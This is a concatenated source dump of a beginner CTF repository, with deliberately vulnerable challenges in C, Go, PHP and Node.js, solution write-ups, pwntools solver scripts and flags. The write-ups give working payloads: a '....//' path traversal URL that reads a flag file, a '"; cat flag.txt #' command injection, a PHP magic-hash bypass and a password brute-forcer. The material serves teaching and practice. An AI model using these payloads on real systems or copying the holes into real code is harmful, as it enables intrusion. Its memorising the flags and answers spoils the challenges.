14 | One can copy the following to a new program:
15 | ```c
16 | // exp.c
17 | #include
18 | #include
19 |
20 | int main() {
21 | long long result = 0;
22 |
23 | for (int i = 0; i < 1000; i++) {
24 | result += (long long)rand();
25 | }
26 | printf("%lld", result);
27 | }
28 | // ❯ gcc -o exp exp.c && ./exp
29 | // 1091191137495
30 | ```
31 | The result is the magic number and it can be submitted to the service to
32 | retrieve the flag.
33 |
34 | ## Flag
35 | `havceCTF{th1s_is_wh4t_h3ppens_wh3n_u_d0nt_use_d3v_ur4nd0m}`
36 |
--------------------------------------------------------------------------------
/havcebin/http/html/code.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Pastebin
8 |
27 |
28 |
29 | PASTEBIN
30 |
31 |
32 |
--------------------------------------------------------------------------------
/flag-hash/index.php:
--------------------------------------------------------------------------------
1 | Insert the correct flag to view the correct flag";
3 | ?>
4 |
5 |
6 | Flag Comparison
7 |
8 |
9 |
10 |
14 |
15 |
16 |
17 |
18 | To help you this is the md5 of the real flag:
" . $real_flag_md5 . "";
23 |
24 | if (!isset($_POST['flag']) || empty($_POST['flag'])){
25 | $flag = md5('errorrrrrr');
26 | }
27 | else{
28 | $flag = $_POST['flag'];
29 | $flag_md5 = md5($flag);
30 | if ($flag_md5 == $real_flag_md5){
31 | echo '
You got it right!! Take the flag: '.$file;
32 | }else{
33 | echo '
Try again';
34 | }
35 | }
36 | ?>
--------------------------------------------------------------------------------
/secure-login/secure-login.c:
--------------------------------------------------------------------------------
1 | #include "stdlib.h"
2 | #include
3 | #include
4 |
5 | const char *banner = " _ _ \n | | (_) \n ___ ___ ___ _ _ _ __ ___ | | ___ __ _ _ _ __ \n/ __|/ _ \\/ __| | | | '__/ _ \\ | |/ _ \\ / _` | | '_ \\ \n\\__ \\ __/ (__| |_| | | | __/ | | (_) | (_| | | | | |\n|___/\\___|\\___|\\__,_|_| \\___| |_|\\___/ \\__, |_|_| |_|\n __/ | \n |___/ \n";
6 |
7 | int main (int argc, char *argv[])
8 | {
9 | char username[32], password[32];
10 | puts(banner);
11 | printf("Insert your username: ");
12 | scanf("%31s", username);
13 |
14 | printf("Insert your password: ");
15 | scanf("%31s", password);
16 |
17 | if (!strncmp(password, "havceCTF{m4yb3_n0t_s0_s3cur3}", 26)) {
18 | printf("Well done! Nothing more here. Bye :)\n");
19 | } else {
20 | printf("\nNot this time, try again :c\n");
21 | }
22 |
23 | return 0;
24 | }
25 |
--------------------------------------------------------------------------------
/login/main.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 |
7 | char real_psw[16];
8 |
9 | typedef struct {
10 | char user[16];
11 | char psw[16];
12 | char cf[16];
13 | int auth;
14 | } login;
15 |
16 | void read_psw() {
17 | int fd = open("/dev/urandom", O_RDONLY);
18 | read(fd, real_psw, 15);
19 | real_psw[15] = 0;
20 | }
21 |
22 | int check_auth() {
23 | login a;
24 | a.auth = 1;
25 | puts("--------LOGIN--------");
26 | puts("inserisci il tuo username");
27 | scanf("%s", a.user);
28 | puts("inserisci la tua password");
29 | scanf("%s", a.psw);
30 | a.auth = strcmp(a.psw, real_psw) == 0;
31 | puts("inserisci il tuo codice fiscale");
32 | scanf("%s", a.cf);
33 | return a.auth;
34 | }
35 |
36 | void setup() {
37 | setvbuf(stdout, NULL, _IONBF, 0);
38 | setvbuf(stdin, NULL, _IONBF, 0);
39 | setvbuf(stderr, NULL, _IONBF, 0);
40 | }
41 |
42 | int main(void) {
43 | setup();
44 |
45 | read_psw();
46 | int auth = check_auth();
47 | if (auth) {
48 | puts("GOOD JOB");
49 | system("cat flag.txt");
50 | }
51 | }
--------------------------------------------------------------------------------
/havcebin/filesystem/filesystem.go:
--------------------------------------------------------------------------------
1 | package filesystem
2 |
3 | import (
4 | "context"
5 | "havcebin"
6 | "os"
7 | "path/filepath"
8 | )
9 |
10 | // Ensure PasteService implements interface.
11 | var _ havcebin.PasteService = (*PasteService)(nil)
12 |
13 | type PasteService struct {
14 | BasePath string
15 | }
16 |
17 | func NewPasteService(base string) *PasteService {
18 | return &PasteService{
19 | BasePath: base,
20 | }
21 | }
22 |
23 | func (p *PasteService) LoadPaste(ctx context.Context, name string) (string, error) {
24 | // Sanitize name.
25 | name = sanitizeName(name)
26 |
27 | sanePath := filepath.Join(p.BasePath, filepath.Clean(name))
28 |
29 | paste, err := os.ReadFile(sanePath)
30 | if err != nil {
31 | return "", err
32 | }
33 |
34 | return string(paste), nil
35 | }
36 |
37 | func (p *PasteService) SavePaste(ctx context.Context, name string, content string) error {
38 | // Sanitize name.
39 | name = sanitizeName(name)
40 |
41 | sanePath := filepath.Join(p.BasePath, filepath.Clean(name))
42 |
43 | // We don't want other users to read our precious files.
44 | return os.WriteFile(sanePath, []byte(content), 0600)
45 | }
--------------------------------------------------------------------------------
/psw_check/psw_checker.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | #define BUF_LEN 20
6 |
7 | void setup() {
8 | setvbuf(stdout, NULL, _IONBF, 0);
9 | setvbuf(stderr, NULL, _IONBF, 0);
10 | setvbuf(stdin, NULL, _IONBF, 0);
11 | }
12 |
13 | void print_flag() {
14 | char *flag = getenv("FLAG");
15 | if (flag == NULL) {
16 | printf("Error! If you see this error, please contact the admin.");
17 | return;
18 | }
19 |
20 | printf("Your flag is: %s\n", flag);
21 | }
22 |
23 | int main(void) {
24 | char name[BUF_LEN];
25 | char psw[BUF_LEN];
26 | setup();
27 |
28 | do {
29 | puts("Inserisci il tuo username:");
30 | fgets(name, BUF_LEN, stdin);
31 |
32 | name[strlen(name) - 1] = '\0';
33 |
34 | puts("Inserisci la tua password:");
35 | fgets(psw, BUF_LEN, stdin);
36 |
37 | psw[strlen(psw) - 1] = '\0';
38 |
39 | if (strcmp(name, "admin") == 0 && strcmp(psw, "lmE5apcAiF") == 0) {
40 | puts("LOGIN ESEGUITO ECCO LA TUA FLAG! ");
41 | print_flag();
42 | break;
43 | }
44 |
45 | puts("Credenziali errate ! ");
46 | } while (1);
47 |
48 | return 0;
49 | }
50 |
--------------------------------------------------------------------------------
/havcebin/readme.users.md:
--------------------------------------------------------------------------------
1 | # havcebin
2 | Welcome to my Pastebin clone. It is written in Go, and I hope you'll like it.
3 | I coded it defensively, using all the bells and whistles to make sure hackers
4 | don't end up stealing files they shouldn't see.
5 |
6 | ## Contribute
7 | In order to build havcebin you have two choices:
8 | - Use Docker.
9 | - Install the Go tooling.
10 |
11 | Make sure to check the Dockerfile to see how things work behind the curtains! 😉
12 |
13 | ### Option 1: use Docker
14 | Make sure you have [Docker](https://docs.docker.com/get-docker/) installed on your system.
15 | Then, open a terminal and type the following:
16 | ```bash
17 | cd havcebin
18 | docker build -t havcebin .
19 | docker run -d -eFLAG="havceCTF{this_is_a_dummy_flag}" -p8080:8080 havcebin
20 | # You're set! Go to your browser on http://localhost:8080
21 | ```
22 |
23 | ### Option 2: use the Go tooling
24 | Make sure you have Go installed on your system. Check the [installation instructions](https://go.dev/doc/install) for your operating system.
25 | After that type the following:
26 | ```bash
27 | cd havcebin
28 | go run ./cmd/havcebind
29 | # You're set! Head to http://localhost:8080
30 | ```
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # havceCTF
2 | Welcome to our first beginner CTF! We hope you enjoyed the challenges.
3 | See you soon!
4 |
5 | ## Challenge authors
6 | * [@sioel0](https://github.com/sioel0): *[unzip pt. 2](unzip_pt2)*, *[onion-message](onion-message)*
7 | * [@sichej](https://github.com/sichej): *[unzip](unzip)*, *[flag-hash](flag-hash)*, *[hidden-flag](hidden-flag)*
8 | * [@AndreaArtioli](https://github.com/AndreaArtioli): *[eight](eight)*, *[telecomunication](telecomunication)*
9 | * [@devgianlu](https://github.com/devgianlu): *[i know hashes](i-know-hashes)*, *[romecrypt](romecrypt)*
10 | * [@Ferr0x](https://github.com/Ferr0x): *[tree-lover](tree-lover)*, *[psw checker](psw_check)*, *[buff1](buff1)*, *[login](login)*, *[flag-shop](flag-shop)*
11 | * [@samuelevalperta](https://github.com/samuelevalperta): *[secure-login](secure-login)*, *[magic](magic)*
12 | * [@kriive](https://github.com/kriive): *[havcebin](havcebin)*, *[quiz](quiz)*, *[flag-shop](flag-shop)*, *[scope](scope)*, *[lottery](lottery)*
13 |
14 |
15 | ## Run
16 | To launch the connectable challenges you will need Docker and Docker compose.
17 | * Copy `.env.sample` to `.env`
18 | * Run `docker compose up -d`
19 | * Profit!
20 |
--------------------------------------------------------------------------------
/scope/README.md:
--------------------------------------------------------------------------------
1 | # Scope
2 | ## Description
3 | > I wrote this oscilloscope readings manager, with a simple shell attached. It is really super secure.
4 |
5 | *Author: [@kriive](https://github.com/kriive)*
6 | ## Solution
7 | There is a command injection vulnerability in the change password function.
8 | ```c
9 | // Check if user knows the old password.
10 | if (strncmp(old_password, buf, strlen(buf)) != 0) {
11 | puts("Old password is wrong!");
12 | goto cleanup;
13 | }
14 |
15 | // Reuse buf buffer.
16 | snprintf(buf, BUF_LEN, "echo -n \"%s\" > %s", user->password, path);
17 | res = system(buf) == 0;
18 | ```
19 | If you input `"; cat flag.txt #` you effectively execute `cat flag.txt`.
20 |
21 | In the original exploit, you didn't know the admin password, so you
22 | couldn't trigger the command injection without first knowing the password.
23 |
24 | In this snippet there is another vulnerability: the check via the `strncmp` function is broken.
25 | If you send an empty string you can bypass the check and enable the command injection
26 | vulnerability (`strncmp` called with len==0 always returns 0).
27 |
28 | This vulnerability has been found in the wild in a oscilloscope running Linux.
29 |
30 | ## Flag
31 | `havceCTF{1his_1s_4ctually_a_vuln_f00und_1n_th3_w1iiild}`
32 |
33 |
--------------------------------------------------------------------------------
/havcebin/http/html/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Pastebin
8 |
33 |
34 |
35 | PASTEBIN
36 |
41 |
42 |
43 |
--------------------------------------------------------------------------------
/havcebin/README.md:
--------------------------------------------------------------------------------
1 | # havcebin
2 | ## Description
3 | > I made this awesome pastebin clone.
4 | > Everyone knows that Go is super secure and still unhacked to this day.
5 |
6 | ## Solution
7 | The service that implements the interaction with the filesystem (i.e. `filesystem/filesystem.go`)
8 | is vulnerable to a path traversal attack.
9 |
10 | There are a coiple of gotchas that permit this in Go.
11 |
12 | `filepath.Clean` does not remove `..` from a path **if it doesn't begin with a `/`** (i.e. the path isn't *rooted*) as one can see in the [official docs](https://pkg.go.dev/path/filepath#Clean).
13 |
14 | ```golang
15 | // name is user-controlled, so it may not begin with a slash.
16 | filepath.Join(p.BasePath, filepath.Clean(name))
17 | ```
18 |
19 | Before passing the path to the `os.Open` function there is a function
20 | that replaces everything that matches a blocklist with a empty string.
21 |
22 | This simple (and insecure) filter can be abused sending a path containing `....//`,
23 | which results in `../`.
24 |
25 | Sending a request along the lines of this reveals the flag:
26 | ```
27 | http://havcebin.chals.beginner.havce.it:8080/paste?key=....//....//....//....//home/havcebin/flag.txt
28 | ```
29 |
30 | ## Remediation
31 | Make sure the path passed to `filepath.Clean` starts with a slash (`/`).
32 |
33 | ## Flag
34 | `havceCTF{d0t_d0t_d0t_d0t_s14sh_s1l4sh_k1nd4_un3xpec13d}`
--------------------------------------------------------------------------------
/hidden-flag/index.js:
--------------------------------------------------------------------------------
1 | const express = require('express');
2 | const app = express()
3 | var path = require('path');
4 | const port = 3000
5 |
6 | app.get('/', (req, res) => {
7 | var options = {
8 | root: path.join(__dirname)
9 | };
10 | var fileName = 'public/img/rob.jpg';
11 | res.sendFile(fileName, options, function (err) {
12 | if (err) {
13 | next(err);
14 | } else {
15 | console.log('Sent:', fileName);
16 | }
17 | });
18 | })
19 |
20 | app.get('/sourcecode', (req, res) => {
21 | var options = {
22 | root: path.join(__dirname)
23 | };
24 | var fileName = 'index.js';
25 | res.sendFile(fileName, options, function (err) {
26 | if (err) {
27 | next(err);
28 | } else {
29 | console.log('Sent:', fileName);
30 | }
31 | });
32 | })
33 |
34 | app.get('/robots.txt', (req, res) => {
35 | var options = {
36 | root: path.join(__dirname)
37 | };
38 | var fileName = 'robots.txt';
39 | res.sendFile(fileName, options, function (err) {
40 | if (err) {
41 | next(err);
42 | } else {
43 | console.log('Sent:', fileName);
44 | }
45 | });
46 | })
47 |
48 | app.get('/GoToThis3ndP0intTOGetd4Fl4g', (req, res) => {
49 | res.send(process.env.FLAG);
50 | })
51 |
52 | app.listen(port, () => {
53 | console.log(`Example app listening on port ${port}`)
54 | })
--------------------------------------------------------------------------------
/flag-shop/views/index.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | havce flag shop
7 |
8 |
19 |
20 |
21 | Ti diamo il benvenuto al flag shop di havce
22 | Hai a disposizione <%= credito %>$.
23 |
24 |
33 |
42 |
43 |
La flag
44 |
10000000$
45 |
48 |
49 |
50 |
51 |
--------------------------------------------------------------------------------
/i-know-hashes/hashes.py:
--------------------------------------------------------------------------------
1 | import hashlib
2 |
3 | FLAG = 'havceCTF{xxxxxxxxxxxxxxxxxxxxxxxxxxx}'
4 |
5 | for c in FLAG:
6 | print(hashlib.md5(c.encode()).hexdigest())
7 |
8 | # Output:
9 | # 2510c39011c5be704182423e3a695e91
10 | # 0cc175b9c0f1b6a831c399e269772661
11 | # 9e3669d19b675bd57058fd4664205d2a
12 | # 4a8a08f09d37b73795649038408b5f33
13 | # e1671797c52e15f763380b45e841ec32
14 | # 0d61f8370cad1d412f80b84d143e1257
15 | # b9ece18c950afbfa6b0fdbfa4ff731d3
16 | # 800618943025315f869e4e1f09471012
17 | # f95b70fdc3088560732a5ac135644506
18 | # e358efa489f58062f10dd7316b65649e
19 | # 2510c39011c5be704182423e3a695e91
20 | # a87ff679a2f3e71d9181a67b7542122c
21 | # e358efa489f58062f10dd7316b65649e
22 | # b14a7b8059d9c055954c92674ce60032
23 | # c4ca4238a0b923820dcc509a6f75849b
24 | # 03c7c0ace395d80182db07ae2c30f034
25 | # b14a7b8059d9c055954c92674ce60032
26 | # 7b8b965ad4bca0e41ab51de7b31363a1
27 | # cfcd208495d565ef66e7dff9f98764da
28 | # e358efa489f58062f10dd7316b65649e
29 | # b14a7b8059d9c055954c92674ce60032
30 | # 2510c39011c5be704182423e3a695e91
31 | # cfcd208495d565ef66e7dff9f98764da
32 | # f1290186a5d0b1ceab27f4e77c0c5d68
33 | # b14a7b8059d9c055954c92674ce60032
34 | # 2510c39011c5be704182423e3a695e91
35 | # a87ff679a2f3e71d9181a67b7542122c
36 | # 03c7c0ace395d80182db07ae2c30f034
37 | # 2510c39011c5be704182423e3a695e91
38 | # eccbc87e4b5ce2fe28308fd9f2a7baf3
39 | # 03c7c0ace395d80182db07ae2c30f034
40 | # b14a7b8059d9c055954c92674ce60032
41 | # f1290186a5d0b1ceab27f4e77c0c5d68
42 | # cfcd208495d565ef66e7dff9f98764da
43 | # 4b43b0aee35624cd95b910189b3dc231
44 | # 8ce4b16b22b58894aa86c421e8759df3
45 | # cbb184dd8e05c9709e5dcaedaa0495cf
--------------------------------------------------------------------------------
/flag-shop/index.js:
--------------------------------------------------------------------------------
1 | var express = require('express')
2 | const bodyParser = require('body-parser');
3 | var session = require('express-session')
4 | var path = require('path');
5 |
6 | const port = 3000
7 |
8 | var app = express()
9 |
10 | const ITEMS = {
11 | "mucca": { "price": 1, path: "mucca" },
12 | "orso": { "price": 2, path: "orso" },
13 | }
14 |
15 | app.set('view engine', 'ejs');
16 | app.use('/assets', express.static('assets'))
17 |
18 | app.use(session({
19 | secret: 'keyboard cat',
20 | resave: false,
21 | saveUninitialized: true
22 | }))
23 |
24 | app.use(bodyParser.urlencoded({ extended: true }));
25 |
26 | app.use(function (req, res, next) {
27 | if (!req.session.credito) {
28 | req.session.credito = 1000
29 | }
30 |
31 | next()
32 | })
33 |
34 | app.get('/', function (req, res, next) {
35 | res.render('index', { credito: req.session.credito })
36 | })
37 |
38 | app.post('/compera', function (req, res, next) {
39 | const obj = req.body.object
40 | const qty = req.body.qty
41 | const credito = req.session.credito
42 |
43 | const price = ITEMS[obj].price
44 | if (price === undefined) {
45 | res.status(404).send("non ce l'abbiamo mica quell'affare lì")
46 | return
47 | }
48 |
49 | if (credito < qty * price) {
50 | res.status(402).send("non c'hai na lira")
51 | return
52 | }
53 |
54 | req.session.credito = credito - qty * price
55 |
56 | res.render(ITEMS[obj].path, { qty })
57 | })
58 |
59 | app.get('/flag', function (req, res) {
60 | if (req.session.credito >= 10000000) {
61 | res.send(process.env.FLAG)
62 | return
63 | }
64 |
65 | res.status(402).send("non c'hai na lira")
66 | })
67 |
68 | app.listen(port, () => {
69 | console.log(`flag-shop listening on port ${port}`)
70 | })
71 |
--------------------------------------------------------------------------------
/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: "3"
2 | services:
3 | buff1:
4 | build: ./buff1
5 | ports:
6 | - "31337:3001"
7 | privileged: true
8 | environment:
9 | - FLAG=${FLAG_BUFF1}
10 | restart: unless-stopped
11 | scope:
12 | build: ./scope
13 | ports:
14 | - "31313:3001"
15 | privileged: true
16 | environment:
17 | - FLAG=${FLAG_SCOPE}
18 | restart: unless-stopped
19 | flag_hash:
20 | build: ./flag-hash
21 | environment:
22 | - FLAG=${FLAG_HASH}
23 | ports:
24 | - "8888:80"
25 | restart: unless-stopped
26 | havcebin:
27 | build: ./havcebin
28 | volumes:
29 | - havcebin:/home/havcebin/.storage
30 | environment:
31 | - FLAG=${FLAG_HAVCEBIN}
32 | ports:
33 | - "8080:8080"
34 | restart: unless-stopped
35 | hidden_flag:
36 | build: ./hidden-flag
37 | environment:
38 | - FLAG=${FLAG_HIDDEN_FLAG}
39 | ports:
40 | - "8808:3000"
41 | restart: unless-stopped
42 | login:
43 | build: ./login
44 | privileged: true
45 | environment:
46 | - FLAG=${FLAG_LOGIN}
47 | ports:
48 | - "31338:3001"
49 | restart: unless-stopped
50 | lottery:
51 | build: ./lottery
52 | privileged: true
53 | environment:
54 | - FLAG=${FLAG_LOTTERY}
55 | ports:
56 | - "31340:3001"
57 | restart: unless-stopped
58 | psw_check:
59 | build: ./psw_check
60 | privileged: true
61 | environment:
62 | - FLAG=${FLAG_PSW_CHECK}
63 | ports:
64 | - "31350:3001"
65 | restart: unless-stopped
66 | quiz:
67 | build: ./quiz
68 | environment:
69 | - FLAG=${FLAG_QUIZ}
70 | ports:
71 | - "31339:1337"
72 | restart: unless-stopped
73 | flag-shop:
74 | build: ./flag-shop
75 | environment:
76 | - FLAG=${FLAG_SHOP}
77 | ports:
78 | - "8181:3000"
79 | restart: unless-stopped
80 | volumes:
81 | havcebin:
82 |
--------------------------------------------------------------------------------
/flag-hash/README.md:
--------------------------------------------------------------------------------
1 | # flag-hash
2 | ## Description
3 | > PHP is safe i've heard...
4 |
5 | *Author: [@sichej](https://github.com/sichej)*
6 | ## Solution
7 | In order to get the flag, we must enter something whose md5sum computes to the same of the flag
8 | (in cryptography this is called a [hash collision](https://en.wikipedia.org/wiki/Hash_collision)).
9 |
10 | Since the check is performed with a [loose comparison](https://www.php.net/manual/en/types.comparisons.php)
11 | (i.e. two equals instead of three) we can abuse
12 | [PHP's type juggling](https://www.php.net/manual/en/language.types.type-juggling.php) to trick the program
13 | to give us the flag, without performing a time-consuming collision attack (which is kinda feasible with md5).
14 |
15 | If we look at the md5 provided by the website, we can observe that it looks like this: it starts with `0e`
16 | and is followed by a bunch of numbers.
17 |
18 | If we provide another input whose md5 follows the same properties, the PHP's type juggling system will
19 | mistake the flag's md5 (`0e367389443115895145880699408670`) and our input's md5 (`0esomething`) for numbers
20 | written in exponential form (0 to the power of 367389... and 0 to the power of something).
21 |
22 | Since 0 to the power of `n` (when `n` > 0) always returns 0, each side of the comparison
23 | computes to 0 and the check will pass.
24 |
25 | An input value that follows these properties can be computer with a bruteforce or can be found
26 | [here](https://security.stackexchange.com/questions/261975/do-we-know-a-md5-collision-exploiting-php-loose-type-comparision-0123e2-123e).
27 |
28 | ```
29 | md5(flag) = 0e367389443115895145880699408670
30 | md5("QLTHNDT") = 0e405967825401955372549139051580
31 | 0e367389443115895145880699408670 => 0^367389443115895145880699408670 == 0
32 | 0e405967825401955372549139051580 => 0^405967825401955372549139051580 == 0
33 | 0==0 returns true
34 | ```
35 | ## Flag
36 | `havceCTF{never_trust_PHP_WplAhwAxDnr}`
37 |
--------------------------------------------------------------------------------
/havcebin/http/paste.go:
--------------------------------------------------------------------------------
1 | package http
2 |
3 | import (
4 | "havcebin/generate"
5 | "log"
6 | "net/http"
7 | )
8 |
9 | func (s *Server) handlePasteGet(w http.ResponseWriter, r *http.Request) {
10 | if err := r.ParseForm(); err != nil {
11 | http.Error(w, "There was an error parsing your request.", http.StatusBadRequest)
12 | return
13 | }
14 |
15 | if !r.Form.Has("key") {
16 | http.Error(w, "Missing 'key' parameter.", http.StatusBadRequest)
17 | return
18 | }
19 |
20 | key := r.Form.Get("key")
21 | if key == "" {
22 | http.Error(w, "Key must not be empty.", http.StatusBadRequest)
23 | return
24 | }
25 |
26 | code, err := s.PasteService.LoadPaste(r.Context(), key)
27 | if err != nil {
28 | http.Error(w, err.Error(), http.StatusInternalServerError)
29 | return
30 | }
31 |
32 | if r.Form.Has("raw") {
33 | w.Write([]byte(code))
34 | return
35 | }
36 |
37 | if err := s.CodeTemplate.Execute(w, struct{ Code string }{code}); err != nil {
38 | http.Error(w, "Failed to render template.", http.StatusInternalServerError)
39 | }
40 | }
41 |
42 | func (s *Server) handlePastePost(w http.ResponseWriter, r *http.Request) {
43 | if err := r.ParseForm(); err != nil {
44 | http.Error(w, "There was an error parsing you request.", http.StatusBadRequest)
45 | return
46 | }
47 |
48 | code := r.Form.Get("code")
49 | if code == "" {
50 | http.Error(w, "The paste content cannot be empty.", http.StatusBadRequest)
51 | return
52 | }
53 |
54 | name, err := generate.StringFromAlphabet(8, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
55 | if err != nil {
56 | http.Error(w, "There was an error generating a random name for your paste.", http.StatusInternalServerError)
57 | log.Println(err)
58 | return
59 | }
60 |
61 | if err := s.PasteService.SavePaste(r.Context(), name, code); err != nil {
62 | http.Error(w, "There was an error saving your paste.", http.StatusInternalServerError)
63 | log.Println(err)
64 | return
65 | }
66 |
67 | http.Redirect(w, r, "/paste?key="+name, http.StatusFound)
68 | }
69 |
--------------------------------------------------------------------------------
/psw_check/solver.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # This exploit template was generated via:
4 | # $ pwn template psw_checker
5 | from pwn import *
6 |
7 | # Set up pwntools for the correct architecture
8 | exe = context.binary = ELF('psw_checker')
9 |
10 | # Many built-in settings can be controlled on the command-line and show up
11 | # in "args". For example, to dump all data sent/received, and disable ASLR
12 | # for all created processes...
13 | # ./exploit.py DEBUG NOASLR
14 |
15 |
16 | def start(argv=[], *a, **kw):
17 | '''Start the exploit against the target.'''
18 | if args.GDB:
19 | return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
20 | else:
21 | return process([exe.path] + argv, *a, **kw)
22 |
23 | # Specify your GDB script here for debugging
24 | # GDB will be launched if the exploit is run via e.g.
25 | # ./exploit.py GDB
26 | gdbscript = '''
27 | tbreak main
28 | continue
29 | '''.format(**locals())
30 |
31 | #===========================================================
32 | # EXPLOIT GOES HERE
33 | #===========================================================
34 | # Arch: amd64-64-little
35 | # RELRO: Full RELRO
36 | # Stack: Canary found
37 | # NX: NX enabled
38 | # PIE: PIE enabled
39 | #def psw_saver(passwords):
40 | # with open("password.txt", "r") as f:
41 | # lines = f.readlines()
42 | # for line in lines:
43 | # password = line.strip()
44 | # passwords.append(password)
45 |
46 | # print(passwords)
47 |
48 | io = start()
49 |
50 | def get_passwords():
51 | passwords = []
52 |
53 | with open('password.txt', 'r') as f:
54 | for line in f:
55 | passwords.append(line.strip())
56 | return passwords
57 |
58 |
59 | passwords = get_passwords()
60 | #print(passwords)
61 | for password in passwords:
62 | io.sendlineafter(b"username",b"admin" )
63 | io.sendlineafter(b"password:",password)
64 | io.recvline()
65 | output=io.recvline()
66 | if b"LOGIN ESEGUITO" in output:
67 | break
68 |
69 |
70 |
71 | io.interactive()
72 |
73 |
74 |
75 |
--------------------------------------------------------------------------------
/lottery/lottery.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | void print_banner() {
5 | puts(" ,, ");
6 | puts("`7MM mm mm ");
7 | puts(" MM MM MM ");
8 | puts(" MM ,pW\"Wq.mmMMmm mmMMmm .gP\"Ya `7Mb,od8 `7M' `MF'");
9 | puts(" MM 6W' `Wb MM MM ,M' Yb MM' \"' VA ,V ");
10 | puts(" MM 8M M8 MM MM 8M\"\"\"\"\"\" MM VA ,V ");
11 | puts(" MM YA. ,A9 MM MM YM. , MM VVV ");
12 | puts(".JMML.`Ybmd9' `Mbmo `Mbmo`Mbmmd'.JMML. ,V ");
13 | puts(" ,V ");
14 | puts(" OOb\" ");
15 | }
16 |
17 | void setup() {
18 | setvbuf(stdout, NULL, _IONBF, 0);
19 | setvbuf(stdin, NULL, _IONBF, 0);
20 | setvbuf(stderr, NULL, _IONBF, 0);
21 | }
22 |
23 | long long get_random() {
24 | long long result = 0;
25 |
26 | // One can never be sure with all these
27 | // hackers hanging around...
28 | for (int i = 0; i < 1000; i++) {
29 | result += (long long)rand();
30 | }
31 |
32 | return result;
33 | }
34 |
35 | int main() {
36 | long long guess = 0;
37 | FILE* flag = NULL;
38 | char buf[128];
39 |
40 | setup();
41 | print_banner();
42 |
43 | puts("Welcome to the havce lottery!");
44 | puts("Guess the magic number and win a flag.");
45 |
46 | long long extraction = get_random();
47 | printf("Insert your guess: ");
48 | scanf("%lld", &guess);
49 |
50 | if (guess != extraction) {
51 | puts("Your prediction was wrong. Try again another time. Bye!");
52 | return EXIT_FAILURE;
53 | }
54 |
55 | flag = fopen("flag.txt", "r");
56 | if (!flag) {
57 | perror("fopen");
58 | return EXIT_FAILURE;
59 | }
60 |
61 | char *f = fgets(buf, 128, flag);
62 | if (!f && ferror(flag)) {
63 | fprintf(stderr, "Couldn't read file flag.txt. Contact the admins.");
64 | return EXIT_FAILURE;
65 | }
66 |
67 | printf("Congrats! Here's your flag: %s.", buf);
68 | return EXIT_SUCCESS;
69 | }
70 |
--------------------------------------------------------------------------------
/havcebin/http/server.go:
--------------------------------------------------------------------------------
1 | package http
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "havcebin"
7 | "havcebin/http/html"
8 | "html/template"
9 | "net"
10 | "net/http"
11 | "time"
12 |
13 | "github.com/go-chi/chi/v5"
14 | )
15 |
16 | const ShutdownTimeout = time.Second * 5
17 |
18 | type Server struct {
19 | ln net.Listener
20 | server *http.Server
21 | router chi.Router
22 |
23 | // Bind address & domain for the server's listener.
24 | Addr string
25 |
26 | // Services used by the HTTP routes.
27 | PasteService havcebin.PasteService
28 |
29 | // Templates
30 | CodeTemplate *template.Template
31 | }
32 |
33 | func NewServer() *Server {
34 | s := &Server{
35 | server: &http.Server{},
36 | router: chi.NewRouter(),
37 | }
38 |
39 | s.router.Get("/", s.handleIndex)
40 | s.router.Get("/paste", s.handlePasteGet)
41 | s.router.Post("/paste", s.handlePastePost)
42 |
43 | s.server.Handler = s.router
44 |
45 | return s
46 | }
47 |
48 | func (s *Server) handleIndex(w http.ResponseWriter, r *http.Request) {
49 | w.Write([]byte(html.GetIndex()))
50 | }
51 |
52 | // Port returns the TCP port for the running server.
53 | // This is useful in tests where we allocate a random port by using ":0".
54 | func (s *Server) Port() int {
55 | if s.ln == nil {
56 | return 0
57 | }
58 | return s.ln.Addr().(*net.TCPAddr).Port
59 | }
60 |
61 | // URL returns the local base URL of the running server.
62 | func (s *Server) URL() string {
63 | port := s.Port()
64 |
65 | domain := "localhost"
66 |
67 | // Return without port if using standard ports.
68 | if port == 80 {
69 | return fmt.Sprintf("http://%s", domain)
70 | }
71 | return fmt.Sprintf("http://%s:%d", domain, s.Port())
72 | }
73 |
74 | // Open validates the server options and begins listening on the bind address.
75 | func (s *Server) Open() (err error) {
76 | if s.ln, err = net.Listen("tcp", s.Addr); err != nil {
77 | return err
78 | }
79 |
80 | // Begin serving requests on the listener. We use Serve() instead of
81 | // ListenAndServe() because it allows us to check for listen errors (such
82 | // as trying to use an already open port) synchronously.
83 | go s.server.Serve(s.ln)
84 |
85 | return nil
86 | }
87 |
88 | // Close gracefully shuts down the server.
89 | func (s *Server) Close() error {
90 | ctx, cancel := context.WithTimeout(context.Background(), ShutdownTimeout)
91 | defer cancel()
92 | return s.server.Shutdown(ctx)
93 | }
--------------------------------------------------------------------------------
/buff1/exp.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # This exploit template was generated via:
4 | # $ pwn template '--host=buff1.chals.beginner.havce.it' '--port=31337' buff1
5 | from pwn import *
6 |
7 | # Set up pwntools for the correct architecture
8 | exe = context.binary = ELF('buff1')
9 |
10 | # Many built-in settings can be controlled on the command-line and show up
11 | # in "args". For example, to dump all data sent/received, and disable ASLR
12 | # for all created processes...
13 | # ./exploit.py DEBUG NOASLR
14 | # ./exploit.py GDB HOST=example.com PORT=4141
15 | host = args.HOST or 'buff1.chals.beginner.havce.it'
16 | port = int(args.PORT or 31337)
17 |
18 | def start_local(argv=[], *a, **kw):
19 | '''Execute the target binary locally'''
20 | if args.GDB:
21 | return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
22 | else:
23 | return process([exe.path] + argv, *a, **kw)
24 |
25 | def start_remote(argv=[], *a, **kw):
26 | '''Connect to the process on the remote host'''
27 | io = connect(host, port)
28 | if args.GDB:
